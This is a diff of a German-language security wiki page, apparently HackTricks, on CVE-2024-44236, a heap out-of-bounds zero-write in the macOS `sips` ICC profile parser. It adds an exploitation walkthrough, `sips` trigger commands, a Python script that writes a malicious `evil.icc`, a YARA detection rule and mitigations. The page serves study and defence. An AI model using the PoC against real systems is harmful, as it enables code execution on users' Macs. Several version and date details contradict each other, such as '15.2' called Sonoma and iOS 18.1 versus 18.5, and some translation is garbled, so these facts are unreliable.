diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index 530448c08..f960808b9 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,50 +4,94 @@ ## Übersicht -Eine Out-of-Bounds-Write-Sicherheitsanfälligkeit im ICC-Profil-Parser des Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) aufgrund unzureichender Validierung des `offsetToCLUT`-Feldes in den `lutAToBType` (`mAB `) und `lutBToAType` (`mBA `) Tags. Eine manipulierte ICC-Datei kann Null-Schreibvorgänge bis zu 16 Bytes über den Heap-Puffer hinaus auslösen, was die Heap-Metadaten oder Funktionszeiger beschädigt und die Ausführung beliebigen Codes ermöglicht (CVE-2024-44236). +Eine Out-of-Bounds **Zero-Write**-Schwachstelle im ICC-Profil-Parser des **Scriptable Image Processing System** (`sips`) von Apple macOS (macOS 15.0.1, `sips-307`) ermöglicht es einem Angreifer, Heap-Metadaten zu beschädigen und die primitive Ausführung in vollständige Codeausführung zu pivotieren. Der Fehler befindet sich in der Verarbeitung des `offsetToCLUT`-Feldes der `lutAToBType` (`mAB `) und `lutBToAType` (`mBA `) Tags. Wenn Angreifer `offsetToCLUT == tagDataSize` setzen, löscht der Parser **16 Bytes über das Ende des Heap-Puffers hinaus**. Heap-Spraying ermöglicht es dem Angreifer, Allokatorstrukturen oder C++-Zeiger auf Null zu setzen, die später dereferenziert werden, was eine **arbitrary-write-to-exec**-Kette ergibt (CVE-2024-44236, CVSS 7.8). + +> Apple hat den Fehler in macOS Sonoma 15.2 / Ventura 14.7.1 (30. Oktober 2024) gepatcht. Eine zweite Variante (CVE-2025-24185) wurde am 1. April 2025 in macOS 15.5 und iOS/iPadOS 18.5 behoben. ## Verwundbarer Code - -Die verwundbare Funktion liest und nullt 16 Bytes, beginnend von einem vom Angreifer kontrollierten Offset, ohne sicherzustellen, dass dieser innerhalb des zugewiesenen Puffers liegt: ```c -// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) -for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { -if (i > numberOfInputChannels && buffer[i] != 0) -buffer[i] = 0; +// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) +if (offsetToCLUT <= tagDataSize) { +// BAD ➜ zero 16 bytes starting *at* offsetToCLUT +for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) +buffer[i] = 0; // no bounds check vs allocated size! } ``` -Nur eine Überprüfung `offsetToCLUT <= totalDataLength` wird durchgeführt. Durch Setzen von `offsetToCLUT == tagDataSize` indiziert die Schleife bis zu 16 Bytes über das Ende von `buffer` hinaus und korrumpiert benachbarte Heap-Metadaten. - ## Exploitation Steps -1. **Bösartiges `.icc`-Profil erstellen:** -- Erstellen Sie den ICC-Header (128 Bytes) mit der Signatur `acsp` und einem einzelnen `lutAToBType` oder `lutBToAType` Tag-Eintrag. -- Setzen Sie in der Tag-Tabelle `offsetToCLUT` gleich der `size` des Tags (`tagDataSize`). -- Platzieren Sie von Angreifern kontrollierte Daten unmittelbar nach dem Tag-Datenblock, um die Heap-Metadaten zu überschreiben. -2. **Parsing auslösen:** +1. **Erstellen Sie ein bösartiges `.icc`-Profil** + +* Richten Sie einen minimalen ICC-Header (`acsp`) ein und fügen Sie einen `mAB ` (oder `mBA `) Tag hinzu. +* Konfigurieren Sie die Tag-Tabelle so, dass der **`offsetToCLUT` der Tag-Größe** (`tagDataSize`) entspricht. +* Platzieren Sie von Angreifern kontrollierte Daten direkt nach dem Tag, sodass die 16 Nullschreibvorgänge die Metadaten des Allokators überschreiben. + +2. **Auslösen des Parsens mit einer beliebigen sips-Operation, die das Profil berührt** ```bash -sips --verifyColor malicious.icc +# Verifizierungspfad (keine Ausgabedatei erforderlich) +sips --verifyColor evil.icc +# oder implizit beim Konvertieren von Bildern, die das Profil einbetten +sips -s format png payload.jpg --out out.png ``` -3. **Korrumpierung der Heap-Metadaten:** Die OOB-Nullschreibvorgänge überschreiben die Metadaten des Allokators oder benachbarte Zeiger, wodurch der Angreifer die Kontrolle über den Fluss übernehmen und die Ausführung beliebigen Codes im Kontext des `sips`-Prozesses erreichen kann. +3. **Heap-Metadaten-Korruption ➜ willkürliches Schreiben ➜ ROP** +Im standardmäßigen **`nano_zone`-Allokator** von Apple leben die Metadaten für 16-Byte-Slots **unmittelbar nach** dem ausgerichteten 0x1000-Slab. Indem das Tag des Profils am Ende eines solchen Slabs platziert wird, überschreiben die 16 Nullschreibvorgänge `meta->slot_B`. Nach einem anschließenden `free` wird der vergiftete Zeiger in die kleine Freiliste eingereiht, wodurch der Angreifer **ein gefälschtes Objekt an einer beliebigen Adresse allokieren** und einen C++-vtable-Zeiger, der von sips verwendet wird, überschreiben kann, wodurch die Ausführung schließlich zu einer ROP-Kette wechselt, die im bösartigen ICC-Puffer gespeichert ist. -## Impact +### Schneller PoC-Generator (Python 3) +```python +#!/usr/bin/env python3 +import struct, sys -Erfolgreiche Ausnutzung führt zu einer Remote-Ausführung beliebigen Codes mit Benutzerprivilegien auf macOS-Systemen, die das anfällige `sips`-Dienstprogramm ausführen. +HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) +TAGS = [(b'mAB ', 132, 52)] # one tag directly after header +profile = HDR +profile += struct.pack('>I', len(TAGS)) # tag count +profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) -## Detection +mab = bytearray(52) # tag payload (52 bytes) +struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) +profile += mab -- Überwachen Sie Dateiübertragungen über gängige Protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP). -- Überprüfen Sie übertragene Dateien mit der Signatur `acsp`. -- Überprüfen Sie für jedes `mAB ` oder `mBA ` Tag, ob das Feld `Offset to CLUT` der `Tag data size` entspricht. -- Als verdächtig kennzeichnen, wenn diese Bedingung erfüllt ist. +open('evil.icc', 'wb').write(profile) +print('[+] Wrote evil.icc (%d bytes)' % len(profile)) +``` +### YARA-Erkennungsregel +```yara +rule ICC_mAB_offsetToCLUT_anomaly +{ +meta: +description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" +author = "HackTricks" +strings: +$magic = { 61 63 73 70 } // 'acsp' +$mab = { 6D 41 42 20 } // 'mAB ' +$mba = { 6D 42 41 20 } // 'mBA ' +condition: +$magic at 0 and +for any i in (0 .. 10): // up to 10 tags +( +($mab at 132 + 12*i or $mba at 132 + 12*i) and +uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size +) +} +``` +## Auswirkungen -## References +Das Öffnen oder Verarbeiten eines manipulierten ICC-Profils führt zu einer **willkürlichen Codeausführung** im Kontext des aufrufenden Benutzers (Vorschau, QuickLook, Safari-Bilddarstellung, Mail-Anhänge usw.), wodurch Gatekeeper umgangen wird, da das Profil in ansonsten harmlosen Bildern (PNG/JPEG/TIFF) eingebettet werden kann. -- ZDI-Blog: CVE-2024-44236: Remote Code Execution Vulnerability in Apple macOS sips Utility -https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos -- Apple Oktober 2024 Sicherheitsupdate (Patch für CVE-2024-44236) -https://support.apple.com/en-us/121564 +## Erkennung & Minderung + +* **Patch!** Stellen Sie sicher, dass der Host macOS ≥ 15.2 / 14.7.1 (oder iOS/iPadOS ≥ 18.1) ausführt. +* Setzen Sie die oben genannte YARA-Regel an E-Mail-Gateways und EDR-Lösungen ein. +* Entfernen oder bereinigen Sie eingebettete ICC-Profile mit `exiftool -icc_profile= -overwrite_original ` vor der weiteren Verarbeitung von nicht vertrauenswürdigen Dateien. +* Härtung von Vorschau/QuickLook, indem Sie sie in sandboxed „Transparenz & Modernisierung“ VMs ausführen, wenn Sie unbekannte Inhalte analysieren. +* Für DFIR suchen Sie nach der kürzlichen Ausführung von `sips --verifyColor` oder `ColorSync`-Bibliotheksladungen durch sandboxed Apps im einheitlichen Protokoll. + +## Referenzen + +* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” +https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ +* Apple-Sicherheitsupdates HT213981 “Über den Sicherheitsinhalt von macOS Sonoma 15.2” +https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}